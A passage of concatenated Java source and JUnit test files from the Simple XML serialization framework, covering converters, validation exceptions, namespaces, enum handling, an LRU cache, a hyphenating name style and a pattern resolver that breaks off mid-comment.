map.map.put("a", new BigDecimal(1.1));
map.map.put("b", null);
map.map.put("c", new BigDecimal(2.2));
map.map.put("d", null);
validate(map, serializer);
}
public void testPrimitiveAttributeValueMap() throws Exception {
PrimitiveInlineAttributeValueMap map = new PrimitiveInlineAttributeValueMap();
Serializer serializer = new Persister();
map.map.put("a", new BigDecimal(1.1));
map.map.put("b", new BigDecimal(2.2));
map.map.put(null, new BigDecimal(3.3));
map.map.put("d", null);
validate(map, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/DynamicMapOfAttributesTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class DynamicMapOfAttributesTest extends ValidationTestCase {
private static final String SOURCE =
"<Car color='green' length='3.3' nrOfDoors='2' topSpeed='190' brand='audi' /> ";
private static class CarConverter implements Converter<Car> {
private final Persister persister;
public CarConverter() {
this.persister = new Persister();
}
public Car read(InputNode node) throws Exception {
Car car = persister.read(Car.class, node, false);
NodeMap<InputNode> attributes = node.getAttributes();
for(String name : attributes) {
InputNode attribute = attributes.get(name);
String value = attribute.getValue();
car.furtherAttributes.put(name, value);
}
return car;
}
public void write(OutputNode node, Car car) throws Exception {
Set<String> keys = car.furtherAttributes.keySet();
for(String name : keys) {
String value = car.furtherAttributes.get(name);
node.setAttribute(name, value);
}
}
}
@Root(name="Car")
@Convert(CarConverter.class)
private static class Car
{
@Attribute
private double length;
@Attribute
private String color;
@Attribute
private int nrOfDoors;
@Transient
private Map<String, String> furtherAttributes;
public Car() {
this.furtherAttributes = new HashMap<String, String>();
}
}
public void testConverter() throws Exception {
Strategy strategy = new AnnotationStrategy();
Serializer serializer = new Persister(strategy);
StringWriter buffer = new StringWriter();
Car car = serializer.read(Car.class, SOURCE, false);
assertNotNull(car);
assertEquals(car.length, 3.3);
assertEquals(car.color, "green");
assertEquals(car.nrOfDoors, 2);
assertEquals(car.furtherAttributes.get("topSpeed"), "190");
assertEquals(car.furtherAttributes.get("brand"), "audi");
serializer.write(car, System.out);
serializer.write(car, buffer);
String text = buffer.toString();
assertElementExists(text, "/Car");
assertElementHasAttribute(text, "/Car", "length", "3.3");
assertElementHasAttribute(text, "/Car", "color", "green");
assertElementHasAttribute(text, "/Car", "nrOfDoors", "2");
assertElementHasAttribute(text, "/Car", "topSpeed", "190");
assertElementHasAttribute(text, "/Car", "brand", "audi");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ExceptionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.List;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
public class ExceptionTest extends TestCase {
private static final String VALID =
"<?xml version=\"1.0\"?>\n"+
"<root name='example'>\n"+
" <text>some text element</text>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String NO_NAME_ATTRIBUTE =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <text>some text element</text>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String NO_TEXT_ELEMENT =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String EXTRA_ELEMENT =
"<?xml version=\"1.0\"?>\n"+
"<root name='example'>\n"+
" <error>this is an extra element</error>\n"+
" <text>some text element</text>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String EXTRA_ATTRIBUTE =
"<?xml version=\"1.0\"?>\n"+
"<root error='some extra attribute' name='example'>\n"+
" <text>some text element</text>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String MISSING_ROOT =
"<?xml version=\"1.0\"?>\n"+
"<root name='example'>\n"+
" <text>some text element</text>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
" <error-list class='java.util.ArrayList'>\n"+
" <entry id='10'>\n"+
" <text>some text</text>\n"+
" </entry>\n"+
" </error-list>\n"+
"</root>";
private static final String LIST_ENTRY_WITH_NO_ROOT =
"<?xml version=\"1.0\"?>\n"+
"<root>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12' value='some value' class='org.simpleframework.xml.core.ExceptionTest$RootListEntry'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34' class='org.simpleframework.xml.core.ExceptionTest$NoRootListEntry'>\n"+
" <value>this is the value</value>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56' class='org.simpleframework.xml.core.ExceptionTest$NoRootListEntry'>\n"+
" <value>this is some other value</value>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
@Root(name="entry")
private static class Entry {
@Attribute(name="id", required=false)
private int id;
@Element(name="text", required=true)
private String text;
}
@Root(name="root")
private static class EntryList {
@ElementList(name="list", type=Entry.class, required=false)
private List list;
@Attribute(name="name", required=true)
private String name;
@Element(name="text", required=true)
private String text;
}
private static class ListEntry {
@Attribute(name="id", required=false)
private int id;
@Element(name="text", required=true)
private String text;
}
@Root(name="entry")
private static class RootListEntry extends ListEntry {
@Attribute(name="value", required=true)
private String value;
}
private static class NoRootListEntry extends ListEntry {
@Element(name="value", required=true)
private String value;
}
@Root(name="root")
private static class ListEntryList {
@ElementList(name="list", type=ListEntry.class, required=true)
private List list;
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testValid() {
try {
serializer.read(EntryList.class, VALID);
}catch(Exception e) {
e.printStackTrace();
assertTrue(false);
}
}
public void testNoAttribute() throws Exception {
boolean success = false;
try {
serializer.read(EntryList.class, NO_NAME_ATTRIBUTE);
}catch(ValueRequiredException e) {
success = true;
}
assertTrue(success);
}
public void testNoElement() throws Exception {
boolean success = false;
try {
serializer.read(EntryList.class, NO_TEXT_ELEMENT);
}catch(ValueRequiredException e) {
success = true;
}
assertTrue(success);
}
public void testExtraAttribute() throws Exception {
boolean success = false;
try {
serializer.read(EntryList.class, EXTRA_ATTRIBUTE);
}catch(AttributeException e) {
success = true;
}
assertTrue(success);
}
public void testExtraElement() throws Exception {
boolean success = false;
try {
serializer.read(EntryList.class, EXTRA_ELEMENT);
}catch(ElementException e) {
success = true;
}
assertTrue(success);
}
public void testMissingElement() throws Exception {
boolean success = false;
try {
Entry entry = new Entry();
entry.id = 1;
serializer.write(entry, new StringWriter());
} catch(ElementException e) {
success = true;
}
assertTrue(success);
}
public void testMissingAttribute() throws Exception {
boolean success = false;
try {
EntryList list = new EntryList();
list.text = "some text";
serializer.write(list, new StringWriter());
} catch(AttributeException e) {
success = true;
}
assertTrue(success);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/BigIntegerTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.math.BigInteger;
import org.simpleframework.xml.transform.BigIntegerTransform;
import junit.framework.TestCase;
public class BigIntegerTransformTest extends TestCase {
public void testBigInteger() throws Exception {
BigInteger integer = new BigInteger("1");
BigIntegerTransform format = new BigIntegerTransform();
String value = format.write(integer);
BigInteger copy = format.read(value);
assertEquals(integer, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/FieldScannerDefaultTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Transient;
public class FieldScannerDefaultTest extends TestCase {
@Default(DefaultType.FIELD)
private static class NoAnnotations {
private String name;
private int value;
private Date date;
private Locale locale;
private int[] array;
private String[] strings;
private List<String> list;
private Map<String, String> map;
}
@Default(DefaultType.FIELD)
private static class MixedAnnotations {
private String name;
private @Attribute int value;
private @Transient Date date;
private List<String> list;
}
public void testMixedAnnotations() throws Exception {
Map<String, Contact> map = getContacts(MixedAnnotations.class);
assertEquals(map.size(), 3);
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("value").isReadOnly());
assertFalse(map.get("list").isReadOnly());
assertEquals(String.class, map.get("name").getType());
assertEquals(int.class, map.get("value").getType());
assertEquals(List.class, map.get("list").getType());
assertEquals(Element.class, map.get("name").getAnnotation().annotationType());
assertEquals(Attribute.class, map.get("value").getAnnotation().annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation().annotationType());
assertEquals(Element.class, map.get("name").getAnnotation(Element.class).annotationType());
assertEquals(Attribute.class, map.get("value").getAnnotation(Attribute.class).annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation(ElementList.class).annotationType());
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("value").getAnnotation(Root.class));
assertNull(map.get("list").getAnnotation(Root.class));
}
public void testNoAnnotations() throws Exception {
Map<String, Contact> map = getContacts(NoAnnotations.class);
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("value").isReadOnly());
assertFalse(map.get("date").isReadOnly());
assertFalse(map.get("locale").isReadOnly());
assertFalse(map.get("array").isReadOnly());
assertFalse(map.get("list").isReadOnly());
assertFalse(map.get("map").isReadOnly());
assertEquals(String.class, map.get("name").getType());
assertEquals(int.class, map.get("value").getType());
assertEquals(Date.class, map.get("date").getType());
assertEquals(Locale.class, map.get("locale").getType());
assertEquals(int[].class, map.get("array").getType());
assertEquals(List.class, map.get("list").getType());
assertEquals(Map.class, map.get("map").getType());
assertEquals(Element.class, map.get("name").getAnnotation().annotationType());
assertEquals(Element.class, map.get("value").getAnnotation().annotationType());
assertEquals(Element.class, map.get("date").getAnnotation().annotationType());
assertEquals(Element.class, map.get("locale").getAnnotation().annotationType());
assertEquals(Element.class, map.get("array").getAnnotation().annotationType());
assertEquals(ElementArray.class, map.get("strings").getAnnotation().annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation().annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation().annotationType());
assertEquals(Element.class, map.get("name").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("value").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("date").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("locale").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("array").getAnnotation(Element.class).annotationType());
assertEquals(ElementArray.class, map.get("strings").getAnnotation(ElementArray.class).annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation(ElementList.class).annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation(ElementMap.class).annotationType());
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("value").getAnnotation(Root.class));
assertNull(map.get("date").getAnnotation(Root.class));
assertNull(map.get("locale").getAnnotation(Root.class));
assertNull(map.get("array").getAnnotation(Root.class));
assertNull(map.get("strings").getAnnotation(Root.class));
assertNull(map.get("list").getAnnotation(Root.class));
assertNull(map.get("map").getAnnotation(Root.class));
}
private static Map<String, Contact> getContacts(Class type) throws Exception {
FieldScanner scanner = new FieldScanner(new DetailScanner(type), new Support());
Map<String, Contact> map = new HashMap<String, Contact>();
for(Contact contact : scanner) {
map.put(contact.getName(), contact);
}
return map;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/LimitedCache.java<|end_filename|>
/*
* LinkedCache.java July 2012
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
import java.util.LinkedHashMap;
import java.util.Map.Entry;
/**
* The <code>LimitedCache</code> interface is used to represent a
* cache that will store key value pairs. This implementation is
* backed by a <code>LinkedHashMap</code> so that only a specific
* number of elements can be stored in the cache at one time.
*
* @author <NAME>
*/
public class LimitedCache<T> extends LinkedHashMap<Object, T> implements Cache<T> {
/**
* This represents the capacity of this cache instance.
*/
private final int capacity;
/**
* Constructor of the <code>LimitedCache</code> object. This is
* used to create a cache with a fixed size. The strategy for
* this cache is least recently used. Any insert or fetch from
* the cache is considered to be a use.
*/
public LimitedCache() {
this(50000);
}
/**
* Constructor of the <code>LimitedCache</code> object. This is
* used to create a cache with a fixed size. The strategy for
* this cache is least recently used. Any insert or fetch from
* the cache is considered to be a use.
*
* @param capacity this is the capacity of the cache object
*/
public LimitedCache(int capacity) {
this.capacity = capacity;
}
/**
* This method is used to insert a key value mapping in to the
* cache. The value can later be retrieved or removed from the
* cache if desired. If the value associated with the key is
* null then nothing is stored within the cache.
*
* @param key this is the key to cache the provided value to
* @param value this is the value that is to be cached
*/
public void cache(Object key, T value) {
put(key, value);
}
/**
* This is used to exclusively take the value mapped to the
* specified key from the cache. Invoking this is effectively
* removing the value from the cache.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T take(Object key) {
return remove(key);
}
/**
* This method is used to get the value from the cache that is
* mapped to the specified key. If there is no value mapped to
* the specified key then this method will return a null.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T fetch(Object key) {
return get(key);
}
/**
* This is used to determine whether the specified key exists
* with in the cache. Typically this can be done using the
* fetch method, which will acquire the object.
*
* @param key this is the key to check within this segment
*
* @return true if the specified key is within the cache
*/
public boolean contains(Object key) {
return containsKey(key);
}
/**
* This is used to remove the eldest entry from the cache.
* The eldest entry is removed from the cache if the size of
* the map grows larger than the maximum entries permitted.
*
* @param entry this is the eldest entry that can be removed
*
* @return this returns true if the entry should be removed
*/
protected boolean removeEldestEntry(Entry<Object, T> entry) {
return size() > capacity;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceDefaultTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceDefaultTest extends ValidationTestCase {
private static final String SOURCE =
"<a xmlns:x='http://domain/x' xmlns='http://domain/z'>\n"+
" <y:b xmlns:y='http://domain/y'>\n"+
" <c xmlns='http://domain/c'>\n"+
" <d xmlns='http://domain/z'>d</d>\n"+
" </c>\n"+
" </y:b>\n"+
"</a>\n";
@Root
@NamespaceList({
@Namespace(prefix="x", reference="http://domain/x"),
@Namespace(prefix="z", reference="http://domain/z")})
@Namespace(reference="http://domain/z")
private static class A {
@Element
@Namespace(prefix="y", reference="http://domain/y")
private B b;
}
@Root
private static class B {
@Element
@Namespace(reference="http://domain/c")
private C c;
}
@Root
private static class C{
@Element
@Namespace(reference="http://domain/z")
private String d;
}
public void testScope() throws Exception {
Persister persister = new Persister();
StringWriter writer = new StringWriter();
A example = persister.read(A.class, SOURCE);
assertEquals(example.b.c.d, "d");
assertElementHasNamespace(SOURCE, "/a", "http://domain/z");
assertElementHasNamespace(SOURCE, "/a/b", "http://domain/y");
assertElementHasNamespace(SOURCE, "/a/b/c", "http://domain/c");
assertElementHasNamespace(SOURCE, "/a/b/c/d", "http://domain/z");
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasNamespace(text, "/a", "http://domain/z");
assertElementHasNamespace(text, "/a/b", "http://domain/y");
assertElementHasNamespace(text, "/a/b/c", "http://domain/c");
assertElementHasNamespace(text, "/a/b/c/d", "http://domain/z");
assertElementHasAttribute(text, "/a", "xmlns", "http://domain/z");
assertElementDoesNotHaveAttribute(text, "/a", "xmlns:z", "http://domain/z");
assertElementHasAttribute(text, "/a", "xmlns:x", "http://domain/x");
assertElementHasAttribute(text, "/a/b", "xmlns:y", "http://domain/y");
assertElementHasAttribute(text, "/a/b/c", "xmlns", "http://domain/c");
assertElementHasAttribute(text, "/a/b/c/d", "xmlns", "http://domain/z");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NonFinalConstructorInjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NonFinalConstructorInjectionTest extends ValidationTestCase {
@Root
private static class NonFinalExample {
@Element
private String name;
@Element
private String value;
public NonFinalExample(@Element(name="name") String name, @Element(name="value") String value) {
this.name = name;
this.value = value;
}
public String getName(){
return name;
}
public String getValue(){
return value;
}
}
public void testNonFinal() throws Exception {
Persister persister = new Persister();
NonFinalExample example = new NonFinalExample("A", "a");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EnumTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class EnumTest extends TestCase {
private static final String SOURCE =
"<enumBug>\n"+
" <type>A</type>\n"+
"</enumBug>";
private static final String LIST =
"<enumVariableArgumentsBug>\n"+
" <types>A,B,A,A</types>\n"+
"</enumVariableArgumentsBug>";
enum PartType {
A,
B
}
@Root
public static class EnumBug {
@Element
private PartType type;
public EnumBug(@Element(name="type") PartType type) {
this.type = type;
}
public PartType getType() {
return type;
}
}
@Root
public static class EnumVariableArgumentsBug {
@Element
private PartType[] types;
public EnumVariableArgumentsBug(@Element(name="types") PartType... types) {
this.types = types;
}
public PartType[] getTypes() {
return types;
}
}
public void testEnum() throws Exception {
Serializer serializer = new Persister();
EnumBug bug = serializer.read(EnumBug.class, SOURCE);
assertEquals(bug.getType(), PartType.A);
}
public void testVargsEnum() throws Exception {
Serializer serializer = new Persister();
EnumVariableArgumentsBug bug = serializer.read(EnumVariableArgumentsBug.class, LIST);
assertEquals(bug.getTypes()[0], PartType.A);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/HyphenBuilder.java<|end_filename|>
/*
* HyphenBuilder.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>HyphenBuilder</code> is used to represent an XML style
* that can be applied to a serialized object. A style can be used to
* modify the element and attribute names for the generated document.
* This styles can be used to generate hyphenated XML.
* <pre>
*
* <example-element>
* <child-element example-attribute='example'>
* <inner-element>example</inner-element>
* </child-element>
* </example-element>
*
* </pre>
* Above the hyphenated XML elements and attributes can be generated
* from a style implementation. Styles enable the same objects to be
* serialized in different ways, generating different styles of XML
* without having to modify the class schema for that object.
*
* @author <NAME>
*/
class HyphenBuilder implements Style {
/**
* This is used to generate the XML attribute representation of
* the specified name. Attribute names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the attribute name that is to be styled
*
* @return this returns the styled name of the XML attribute
*/
public String getAttribute(String name) {
if(name != null) {
return new Parser(name).process();
}
return null;
}
/**
* This is used to generate the XML element representation of
* the specified name. Element names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the element name that is to be styled
*
* @return this returns the styled name of the XML element
*/
public String getElement(String name) {
if(name != null) {
return new Parser(name).process();
}
return null;
}
/**
* This is used to parse the style for this builder. This takes
* all of the words split from the original string and builds all
* of the processed tokens for the styles elements and attributes.
*
* @author <NAME>
*/
private class Parser extends Splitter {
/**
* Constructor for the <code>Parser</code> object. This will
* take the original string and parse it such that all of the
* words are emitted and used to build the styled token.
*
* @param source this is the original string to be parsed
*/
private Parser(String source) {
super(source);
}
/**
* This is used to parse the provided text in to the style that
* is required. Manipulation of the text before committing it
* ensures that the text adheres to the required style.
*
* @param text this is the text buffer to acquire the token from
* @param off this is the offset in the buffer token starts at
* @param len this is the length of the token to be parsed
*/
@Override
protected void parse(char[] text, int off, int len) {
text[off] = toLower(text[off]);
}
/**
* This is used to commit the provided text in to the style that
* is required. Committing the text to the buffer assembles the
* tokens resulting in a complete token.
*
* @param text this is the text buffer to acquire the token from
* @param off this is the offset in the buffer token starts at
* @param len this is the length of the token to be committed
*/
@Override
protected void commit(char[] text, int off, int len) {
builder.append(text, off, len);
if(off + len < count) {
builder.append('-');
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DetailScannerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Arrays;
import junit.framework.TestCase;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
public class DetailScannerTest extends TestCase {
@Root(name="base")
@Namespace(reference="http://www/")
public static class BaseExample {
private String x;
public String getX(){
return x;
}
public void setX(String x){
this.x = x;
}
}
@Root(name="detail")
@Default
@NamespaceList({
@Namespace(reference="http://x.com/", prefix="x"),
@Namespace(reference="http://y.com/", prefix="y")
})
private static class DetailExample extends BaseExample{
private String value;
@Validate
public void validate() {}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
public void testScanner() throws Exception {
DetailScanner scanner = new DetailScanner(DetailExample.class);
assertEquals(scanner.getNamespace(), null);
assertEquals(scanner.getNamespaceList().value().length, 2);
assertEquals(scanner.getNamespaceList().value()[0].reference(), "http://x.com/");
assertEquals(scanner.getNamespaceList().value()[0].prefix(), "x");
assertEquals(scanner.getNamespaceList().value()[1].reference(), "http://y.com/");
assertEquals(scanner.getNamespaceList().value()[1].prefix(), "y");
assertEquals(scanner.getNamespaceList().value().length, 2);
assertEquals(scanner.getRoot().name(), "detail");
assertEquals(scanner.getAccess(), DefaultType.FIELD);
assertEquals(scanner.getMethods().size(), 3);
assertEquals(scanner.getFields().size(), 1);
assertEquals(scanner.getFields().get(0).getName(), "value");
assertTrue(Arrays.asList(scanner.getMethods().get(0).getName(),
scanner.getMethods().get(1).getName(),
scanner.getMethods().get(2).getName()).containsAll(Arrays.asList("validate", "getValue", "setValue")));
for(MethodDetail detail : scanner.getMethods()) {
if(detail.getName().equals("validate")) {
assertEquals(detail.getAnnotations().length, 1);
assertEquals(detail.getAnnotations()[0].annotationType(), Validate.class);
}
}
assertTrue(scanner.getMethods() == scanner.getMethods());
assertTrue(scanner.getNamespaceList() == scanner.getNamespaceList());
assertTrue(scanner.getRoot() == scanner.getRoot());
assertTrue(scanner.getAccess() == scanner.getAccess());
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Converter.java<|end_filename|>
/*
* Converter.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>Converter</code> object serializes and deserializes XML
* elements. Serialization of lists, primitives, and compound types
* are performed using a converter. Any object read from a converter
* will produce a fully deserialized object will all its fields.
* The objects written to an XML element populate that element with
* attributes an elements according to the objects annotations.
*
* @author <NAME>
*/
interface Converter {
/**
* The <code>read</code> method reads an object to a specific type
* from the provided node. If the node provided is an attribute
* then the object must be a primitive such as a string, integer,
* boolean, or any of the other Java primitive types.
*
* @param node contains the details used to deserialize the object
*
* @return a fully deserialized object will all its fields
*
* @throws Exception if a deserialized type cannot be instantiated
*/
Object read(InputNode node) throws Exception;
/**
* The <code>read</code> method reads an object to a specific type
* from the provided node. If the node provided is an attribute
* then the object must be a primitive such as a string, integer,
* boolean, or any of the other Java primitive types.
*
* @param node contains the details used to deserialize the object
* @param value this is an existing value to deserialize in to
*
* @return a fully deserialized object will all its fields
*
* @throws Exception if a deserialized type cannot be instantiated
*/
Object read(InputNode node, Object value) throws Exception;
/**
* The <code>validate</code> method is used to validate the class
* XML schema against an input source. This will traverse the class
* fields and methods ensuring that the input XML document contains
* a valid structure when compared against the class XML schema.
*
* @param node contains the details used to validate the object
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(InputNode node) throws Exception;
/**
* The <code>write</code> method writes the fields from the given
* object to the XML element. After this has finished the element
* contains all attributes and sub-elements from the object.
*
* @param object this is the object to be written to the element
* @param node this is the element that is to be populated
*
* @throws Exception throw if the object cannot be serialized
*/
void write(OutputNode node, Object object) throws Exception;
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/Resolver.java<|end_filename|>
/*
* Resolver.java February 2001
*
* Copyright (C) 2001, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
import java.util.AbstractSet;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
/**
* This is used to store <code>Match</code> objects, which can then be
* retrieved using a string by comparing that string to the pattern of
* the <code>Match</code> objects. Patterns consist of characters
* with either the '*' or '?' characters as wild characters. The '*'
* character is completely wild meaning that is will match nothing or
* a long sequence of characters. The '?' character matches a single
* character.
* <p>
* If the '?' character immediately follows the '*' character then the
* match is made as any sequence of characters up to the first match
* of the next character. For example "/*?/index.jsp" will match all
* files preceeded by only a single path. So "/pub/index.jsp" will
* match, however "/pub/bin/index.jsp" will not, as it has two paths.
* So, in effect the '*?' sequence will match anything or nothing up
* to the first occurence of the next character in the pattern.
* <p>
* A design goal of the <code>Resolver</code> was to make it capable
* of high performance. In order to achieve a high performance the
* <code>Resolver</code> can cache the resolutions it makes so that if
* the same text is given to the <code>Resolver.resolve</code> method
* a cached result can be retrived quickly which will decrease the
* length of time and work required to perform the match.
* <p>
* The semantics of the resolver are such that the last pattern added
* with a wild string is the first one checked for a match. This means
* that if a sequence of insertions like <code>add(x)</code> followed
* by <code>add(y)</code> is made, then a <code>resolve(z)</code> will
* result in a comparison to y first and then x, if z matches y then
* it is given as the result and if z does not match y and matches x
* then x is returned, remember if z matches both x and y then y will
* be the result due to the fact that is was the last pattern added.
*
* @author <NAME>
*/
public class Resolver<M extends Match> extends AbstractSet<M> {
/**
* Caches the text resolutions made to reduce the work required.
*/
protected final Cache cache;
/**
* Stores the matches added to the resolver in resolution order.
*/
protected final Stack stack;
/**
* The default constructor will create a <code>Resolver</code>
* without a large cache size. This is intended for use when
* the requests for <code>resolve</code> tend to use strings
* that are reasonably similar. If the strings issued to this
* instance are dramatically different then the cache tends
* to be an overhead rather than a bonus.
*/
public Resolver(){
this.stack = new Stack();
this.cache = new Cache();
}
/**
* This will search the patterns in this <code>Resolver</code> to
* see if there is a pattern in it that matches the string given.
* This will search the patterns from the last entered pattern to
* the first entered. So that the last entered patterns are the
* most searched patterns and will resolve it first if it matches.
*
* @param text this is the string that is to be matched by this
